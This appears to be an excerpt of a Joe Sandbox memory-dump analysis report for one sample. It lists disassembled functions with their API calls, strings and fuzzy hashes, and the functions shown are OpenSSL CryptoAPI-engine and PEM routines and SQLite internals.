Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Thread$Create$CallsDisableLibrary
String ID:
API String ID: 1137313304-0
Opcode ID: 39477de572a441d0d2ef31538d279acc9b7d6acec7c480a6a1d2ce28b73a40fd
Instruction ID: f7649628d6c9c616a2289c72afde276a426916728dc216b0d22d9f1eff03a3a1
Opcode Fuzzy Hash: 39477de572a441d0d2ef31538d279acc9b7d6acec7c480a6a1d2ce28b73a40fd
Instruction Fuzzy Hash: B4F0ED31698358F6E774AB508C0EF497664F709B41F304124F70AF91D0CBB1A940861D

Function 10248790 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(102479E3,?,1024883D,?,102479E4,00000100,-00000001,102479E3,?,?,00000001,?,?,?,00000000), ref: 102487A9
realloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,102479E3,?,1024883D,?,102479E4,00000100,-00000001,102479E3,?,?,00000001,?), ref: 102487D0

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: _errnorealloc
String ID:
API String ID: 3650671883-0
Opcode ID: cc7be8c070159306b6512c818d3dd505c994d0a198fcc411df52a69fbe518070
Instruction ID: bff60046f19298de85380876ee219af60abae125d30b2a2173f007e37f35ad8b
Opcode Fuzzy Hash: cc7be8c070159306b6512c818d3dd505c994d0a198fcc411df52a69fbe518070
Instruction Fuzzy Hash: DFF0A73B6142028BD7108E39EC0104EF6D6EFD52B07360E1AE8B4C72E0D770EC92C650

Function 101A1820 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 101A1825

Strings

failed to allocate %u bytes of memory, xrefs: 101A1837

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: malloc
String ID: failed to allocate %u bytes of memory
API String ID: 2803490479-1168259600
Opcode ID: 7319daaff76f6d9ef6e15df570daf65e32376effaff9f2fad6fd5cb6ed46ff8f
Instruction ID: b95d46d094d3b329cd8c5fef6d7fec5fb86c2a7a545138ecde0abc2953766961
Opcode Fuzzy Hash: 7319daaff76f6d9ef6e15df570daf65e32376effaff9f2fad6fd5cb6ed46ff8f
Instruction Fuzzy Hash: A4D0122AD85172A3C61125D0BD02ACB7D80DF506E1F450174FD4C6A232DA2A9CA1D7C7

Non-executed Functions

Function 10149FC0 Relevance: 38.9, APIs: 12, Strings: 10, Instructions: 408stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,Proc-Type:,0000000A), ref: 1014A127
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?,1030A228,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1014A140
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?,1030A228,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1014A165
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ENCRYPTED,00000009,?,1030A228), ref: 1014A174
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?, ), ref: 1014A18D
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?, ), ref: 1014A1A3
__fprintf_l.LIBCMT ref: 1014A1D4
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,DEK-Info:,00000009), ref: 1014A228
strspn.API-MS-WIN-CRT-STRING-L1-1-0(?,1030A228), ref: 1014A241
strcspn.API-MS-WIN-CRT-STRING-L1-1-0(00000000, ,,?,1030A228), ref: 1014A251
strspn.API-MS-WIN-CRT-STRING-L1-1-0(00000000,1030A228,00000000,00000000, ,,?,1030A228), ref: 1014A277
memset.VCRUNTIME140(?,00000000,00000000), ref: 1014A32D

Strings

Proc-Type:, xrefs: 1014A121
, xrefs: 1014A187
ENCRYPTED, xrefs: 1014A16E
load_iv, xrefs: 1014A3DB
PEM_get_EVP_CIPHER_INFO, xrefs: 1014A1BA, 1014A290, 1014A2C6, 1014A2F6, 1014A3FD, 1014A41F, 1014A441
crypto\pem\pem_lib.c, xrefs: 1014A039, 1014A04F, 1014A061, 1014A07D, 1014A08D, 1014A1C4, 1014A1EB, 1014A208, 1014A29A, 1014A2D0, 1014A300, 1014A3E5, 1014A407, 1014A429, 1014A44B, 1014A46C, 1014A486
Expecting: , xrefs: 1014A4F0
, xrefs: 1014A19D
,, xrefs: 1014A246
DEK-Info:, xrefs: 1014A222

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: strspn$strncmp$__fprintf_lmemsetstrcspn
String ID: $ $ ,$DEK-Info:$ENCRYPTED$Expecting: $PEM_get_EVP_CIPHER_INFO$Proc-Type:$crypto\pem\pem_lib.c$load_iv
API String ID: 805812871-1430298511
Opcode ID: ad1c70e4c1071fff0d7c278aea4a942f8b25df130585ee320aa4c3dede0fe080
Instruction ID: 0f82841f48850bbcab7b90f78a48549cbaa611ff87f36c03b3fbd9889d281097
Opcode Fuzzy Hash: ad1c70e4c1071fff0d7c278aea4a942f8b25df130585ee320aa4c3dede0fe080
Instruction Fuzzy Hash: 7FD18D7A6083056BD300DF64AC42F9F77D8EF48740F960928FA84E6253EB69F8058797

Function 1008B3D0 Relevance: 37.0, APIs: 11, Strings: 10, Instructions: 241encryptionCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,?,1008970B), ref: 1008B42C
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000,?,1008970B), ref: 1008B450
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,1008970B), ref: 1008B473
CryptAcquireContextW.ADVAPI32(?,00000000,00000000,?,F0000000,?,1008970B), ref: 1008B4C2
__fprintf_l.LIBCMT ref: 1008B4FE
CryptGetProvParam.ADVAPI32(00000000,00000002,00000000,00000001,00000001,?,1008970B), ref: 1008B529
GetLastError.KERNEL32(?,?,?,?,?,1008970B), ref: 1008B548
CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,1008970B), ref: 1008B577
CryptGetProvParam.ADVAPI32(?,00000002,00000000,?,00000000,?,?,?,?,?,?,?,1008970B), ref: 1008B5DC
GetLastError.KERNEL32(?,?,?,?,?,?,?,1008970B), ref: 1008B62F
CryptReleaseContext.ADVAPI32(?,00000000), ref: 1008B695

Strings

ERR_CAPI_error, xrefs: 1008B4E3
D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c, xrefs: 1008B4EA
Got max container len %d, xrefs: 1008B585
Enumerate bug: using workaround, xrefs: 1008B61F
Listing containers CSP=%s, type = %d, xrefs: 1008B405
Container name %s, len=%d, index=%d, flags=%d, xrefs: 1008B5EF
%lX, xrefs: 1008B47A, 1008B54F, 1008B653
%lu. %s, xrefs: 1008B60C
Error code= 0x, xrefs: 1008B48E, 1008B563, 1008B667
users\e_capi.c, xrefs: 1008B45F, 1008B50A, 1008B538, 1008B5A7, 1008B644, 1008B682

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Crypt$ContextErrorLast$ByteCharMultiParamProvReleaseWide$Acquire__fprintf_l
String ID: %lX$%lu. %s$Container name %s, len=%d, index=%d, flags=%d$D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c$ERR_CAPI_error$Enumerate bug: using workaround$Error code= 0x$Got max container len %d$Listing containers CSP=%s, type = %d$users\e_capi.c
API String ID: 3173555883-3984037652
Opcode ID: bcf0ce1eb9858259f5c747b44b1f91321fe62a45251b8fc6cf50794939e406fe
Instruction ID: 36b386d9d4405ae72171c81fb292d1d9fc55e006c459f4dbf52f0baa7e7269ef
Opcode Fuzzy Hash: bcf0ce1eb9858259f5c747b44b1f91321fe62a45251b8fc6cf50794939e406fe
Instruction Fuzzy Hash: 2171F375D40209BBDB10EFA1DD8AFAF7BB8FB49704F100115FA05B6182EB356920CB61

Function 10192230 Relevance: 25.7, APIs: 7, Strings: 7, Instructions: 1155COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,00000000,?,00000000,?,00000000,?,?), ref: 101922D5

Strings

NaN, xrefs: 10192A99
gfff, xrefs: 10192E13
null, xrefs: 10192A94, 1019367C, 1019367D
VUUU, xrefs: 1019277B
VUUU, xrefs: 10192C62
-, xrefs: 10192BB3
-Inf, xrefs: 10192B5E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove
String ID: -$-Inf$NaN$VUUU$VUUU$gfff$null
API String ID: 2162964266-180214428
Opcode ID: 80f66f2f188caa4453b84b4d9783647dfdc31d798cca6101f88aff7bc00cc348
Instruction ID: 59e3b6b6acab5abc66cf3787fdd1f8733f16b6b87aec61fe31a7a54f10fff7db
Opcode Fuzzy Hash: 80f66f2f188caa4453b84b4d9783647dfdc31d798cca6101f88aff7bc00cc348
Instruction Fuzzy Hash: 7692CD74A0C3818FD715CF28C59079ABBE2EF9A344F19896DE8C68B352D378D845CB52

Function 1008B6C0 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 133encryptionCOMMON

Download Yara Rule

APIs

CryptEnumProvidersW.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,100896A8), ref: 1008B726
CryptEnumProvidersW.ADVAPI32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,100896A8), ref: 1008B760
GetLastError.KERNEL32(?,?,?,?,?,?,?,100896A8), ref: 1008B7C6

Part of subcall function 10050D20: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,100577AB,?,D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\crypto\err\err_local.h,00000039,?,?,00000000,1007ABC7,crypto\user\eng_list.c,000000EB,user_get_first,?,1006F40D), ref: 10050D32

GetLastError.KERNEL32(?,?,?,?,100896A8), ref: 1008B807

Strings

%lu. %s, type %lu, xrefs: 1008B79F
Available CSPs:, xrefs: 1008B6F0
capi_get_provname, returned name=%s, type=%d, xrefs: 1008B78E
%lX, xrefs: 1008B82B
capi_get_provname, index=%d, xrefs: 1008B707
Error code= 0x, xrefs: 1008B841
capi_list_providers, xrefs: 1008B6E1
users\e_capi.c, xrefs: 1008B735, 1008B771, 1008B7B2, 1008B7D1, 1008B7EE, 1008B81C

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CryptEnumErrorLastProviders$free
String ID: %lX$%lu. %s, type %lu$Available CSPs:$Error code= 0x$capi_get_provname, index=%d$capi_get_provname, returned name=%s, type=%d$capi_list_providers$users\e_capi.c
API String ID: 2614864092-2617589956
Opcode ID: 086ae281ad129383171ab2202961e8c6ef55bdb82434aa1723090fa4413b6016
Instruction ID: e4d201e7e8bd4cdd5087de4952fd0b127ab2ff288b63283deded4a6a9593e88d
Opcode Fuzzy Hash: 086ae281ad129383171ab2202961e8c6ef55bdb82434aa1723090fa4413b6016
Instruction Fuzzy Hash: E1312C79E40704BAE210EB619D82FAF779CFF45744F400526FA45B20D2DF65FA14C2AA

Function 100899C0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 125encryptionCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 10089A04
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000000), ref: 10089A2C
CryptAcquireContextW.ADVAPI32(?,00000000,?,?,F0000000,?,00000000), ref: 10089A46
CryptReleaseContext.ADVAPI32(?,00000000,?,00000000), ref: 10089A55
__fprintf_l.LIBCMT ref: 10089ADF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10089AF8

Strings

capi_ctx_set_provname, name=%s, type=%d, xrefs: 100899E5
ERR_CAPI_error, xrefs: 10089AC4
D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c, xrefs: 10089ACB
%lX, xrefs: 10089AFF
Error code= 0x, xrefs: 10089B13
users\e_capi.c, xrefs: 10089A60, 10089A7D, 10089AEB

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharContextCryptMultiWide$AcquireErrorLastRelease__fprintf_l
String ID: %lX$D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\users\e_capi_err.c$ERR_CAPI_error$Error code= 0x$capi_ctx_set_provname, name=%s, type=%d$users\e_capi.c
API String ID: 4218900188-336129353
Opcode ID: 990640ce7c13465381efa38ee0364b52155ef3bbe9e16a18c68a961f7526ae43
Instruction ID: f047e9ae459ffa97eee1067560cae67116e372bc32af4d1124b9cfd591c71253
Opcode Fuzzy Hash: 990640ce7c13465381efa38ee0364b52155ef3bbe9e16a18c68a961f7526ae43
Instruction Fuzzy Hash: 8C41F235E40219BBEB10EFA5DC86FAB77A8FB49711F140115F608E61C1DF34A920CBA6

Function 1000BFC9 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 736COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101D4401
memset.VCRUNTIME140(?,00000000,00000030), ref: 101D44EB
memset.VCRUNTIME140(?,00000000,00000030), ref: 101D46B6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 101D470F

Strings

second, xrefs: 101D4802
20c:20e, xrefs: 101D4677
-, xrefs: 101D472E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@memset
String ID: -$20c:20e$second
API String ID: 4293446785-3467409559
Opcode ID: 015d442fffbcd2a7939879f7c54ca5656b5c6d05d04b6d237d27ccd2c9461669
Instruction ID: 99080e08c8eef9ea47fba0741bb4a48e6a590c8e55074ebb1d362a5b6e7d3d27
Opcode Fuzzy Hash: 015d442fffbcd2a7939879f7c54ca5656b5c6d05d04b6d237d27ccd2c9461669
Instruction Fuzzy Hash: AE52F471A14B818FD319CA38C85579AF7E6EFD5340F14872EE086DB791EB78E8818B41

Function 10200230 Relevance: 18.1, APIs: 7, Strings: 3, Instructions: 637COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,?), ref: 102002D4
memset.VCRUNTIME140(00000000,00000000,?), ref: 10200337
memmove.VCRUNTIME140(?,00000000,00000000), ref: 10200388
memmove.VCRUNTIME140(?,?,00000001), ref: 102003AA
memmove.VCRUNTIME140(?,00000000,00000000), ref: 10200569
memmove.VCRUNTIME140(?,00000000,00000000,?,00000000,00000000), ref: 1020058A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 10200860

Strings

immutable, xrefs: 10200714
rnal, xrefs: 10200579
nolock, xrefs: 102006DA

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove$Unothrow_t@std@@@__ehfuncinfo$??2@memset
String ID: immutable$nolock$rnal
API String ID: 3461029571-1927824297
Opcode ID: b5948d182656e969cc898ed4eb6b17c27f51d5d00bf1073933925d75237e5838
Instruction ID: 990bcacca104fe63bacd6d74e38e9e03776245c923bd011ba8e13b256f5151e9
Opcode Fuzzy Hash: b5948d182656e969cc898ed4eb6b17c27f51d5d00bf1073933925d75237e5838
Instruction Fuzzy Hash: 7B32E0B1A043429FE704CF28C880B56BBE4FF85354F14462DF8598B355DB3AE968CB92

Function 101D0020 Relevance: 17.1, APIs: 1, Strings: 10, Instructions: 634COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,00000230,?,?,00000006,00000000,1004B7F4,?,?), ref: 101D00C5

Part of subcall function 1020A680: memset.VCRUNTIME140(00000000,00000000,00000054,?,?), ref: 1020A6C3

Strings

API call with %s database connection pointer, xrefs: 101D050A, 101D06AA, 101D076D
MATCH, xrefs: 101D048C, 101D04B1, 101D04DA
RTRIM, xrefs: 101D0285
invalid, xrefs: 101D0505, 101D06A5, 101D0768
automatic extension loading failed: %s, xrefs: 101D0609
NOCASE, xrefs: 101D026F
BINARY, xrefs: 101D0188, 101D0240, 101D0256
misuse, xrefs: 101D0520, 101D06C0, 101D0783
96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 101D0516, 101D06B6, 101D0779
%s at line %d of [%.10s], xrefs: 101D0525, 101D06C5, 101D0788

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$API call with %s database connection pointer$BINARY$MATCH$NOCASE$RTRIM$automatic extension loading failed: %s$invalid$misuse
API String ID: 2221118986-1477103039
Opcode ID: 82bdb1208b4629be6927e4cb47b9184d021ff70040e07c843563e01e874acf63
Instruction ID: ff23bc4b4ba0456fcc56b23eabe72cd70c1ffa11a76359f197967d17feea69c2
Opcode Fuzzy Hash: 82bdb1208b4629be6927e4cb47b9184d021ff70040e07c843563e01e874acf63
Instruction Fuzzy Hash: 81222571A00740AFD7128B24DC89B9B77E8EF81384F45442CF98A9B391DB79F944CB96

Function 1008AE30 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 142encryptionCOMMON

Download Yara Rule

APIs

CryptEnumProvidersW.ADVAPI32(?,00000000,00000000,?,00000000,?,?,?,?), ref: 1008AE79
GetLastError.KERNEL32 ref: 1008AE83

Part of subcall function 10089420: __fprintf_l.LIBCMT ref: 10089455

CryptEnumProvidersW.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 1008AF0D
GetLastError.KERNEL32 ref: 1008AF17

Strings

capi_get_provname, returned name=%s, type=%d, xrefs: 1008AFAD
%lX, xrefs: 1008AEAB
capi_get_provname, index=%d, xrefs: 1008AE5A
Error code= 0x, xrefs: 1008AEC1
users\e_capi.c, xrefs: 1008AE9C, 1008AEEA, 1008AF22, 1008AF57, 1008AF8E

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CryptEnumErrorLastProviders$__fprintf_l
String ID: %lX$Error code= 0x$capi_get_provname, index=%d$capi_get_provname, returned name=%s, type=%d$users\e_capi.c
API String ID: 3612887391-960962821
Opcode ID: 78e8aac515af2d12d0cf161ffe5e996b3ecd00e7e82dc1bc9302e15c5141762d
Instruction ID: 092ea72049c87ceb87cfe25821bd8b59fe2e9cde63f142becb397495e5bdd92b
Opcode Fuzzy Hash: 78e8aac515af2d12d0cf161ffe5e996b3ecd00e7e82dc1bc9302e15c5141762d
Instruction Fuzzy Hash: AC415B76B403007BE200EB69DD82F5F73D8FF89711F800426F609D7582DF25A51487A2

Function 102015E0 Relevance: 15.5, APIs: 1, Strings: 9, Instructions: 471COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000004,?,?,00000000,00000000,101D02E0,?,?,?,00000000,?,?), ref: 10201B85

Strings

loca, xrefs: 102016F8
no such %s mode: %s, xrefs: 10201A82
%s mode not allowed: %s, xrefs: 10201B47
lhos, xrefs: 10201701
invalid uri authority: %.*s, xrefs: 10201722
file, xrefs: 1020163A
cach, xrefs: 1020198B
mode, xrefs: 102019C7
no such vfs: %s, xrefs: 10201AF2

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove
String ID: %s mode not allowed: %s$cach$file$invalid uri authority: %.*s$lhos$loca$mode$no such %s mode: %s$no such vfs: %s
API String ID: 2162964266-1127695371
Opcode ID: 5039c81956101355e36c046c234c9d7acc875ca46f3a70ee0f5950504f9e05ad
Instruction ID: 247f8a625cdd50a264b80825c3ae3f7da257d6496c0ee50b35f5118450277cad
Opcode Fuzzy Hash: 5039c81956101355e36c046c234c9d7acc875ca46f3a70ee0f5950504f9e05ad
Instruction Fuzzy Hash: 22F17934A083878FD711CE24C490766BBE2EF86398F754A5CE4D50B29AD736DD29C742

Function 102353C0 Relevance: 11.2, APIs: 3, Strings: 3, Instructions: 668COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 10235436
RaiseException.KERNEL32(C0000006,00000000,00000003,?,00000000), ref: 102354AB
__allrem.LIBCMT ref: 10235932

Strings

database corruption, xrefs: 10235684
96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e, xrefs: 1023567A
%s at line %d of [%.10s], xrefs: 10235689

Memory Dump Source

Source File: 00000000.00000002.4144963180.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.4144914872.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4154404371.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156623370.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.4156744244.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ExceptionRaise$__allrem
String ID: %s at line %d of [%.10s]$96c92aba00c8375bc32fafcdf12429c58bd8aabfcadab6683e35bbb9cdebf19e$database corruption
API String ID: 4130856224-3771113395
Opcode ID: 6d35b770152296f0d7720cac058d9613cda9c5b596795d344f24f8b74e0fb47f
Instruction ID: c6d22badcf5ef5d8087c98bd1076515f6aef06aadbf6ad9c89a147bdb30d6e87
Opcode Fuzzy Hash: 6d35b770152296f0d7720cac058d9613cda9c5b596795d344f24f8b74e0fb47f
Instruction Fuzzy Hash: A73288B56047429FD310CF68C880B5BB7E5FF88745F20492DF98A8B250EB74E964CB92

Function 10270E70 Relevance: 10.2, Strings: 8, Instructions: 222COMMON

Download Yara Rule

Strings

%5lld, xrefs: 10270E90
%4lldP, xrefs: 102710A4
%4lldT, xrefs: 10271097
%4lldM, xrefs: 10270FAC
%2lld.%0lldG, xrefs: 1027104D
%4lldG, xrefs: 1027107D
%2lld.%0lldM, xrefs: 10270F7A
%4lldk, xrefs: 10270EC2

Memory Dump Source

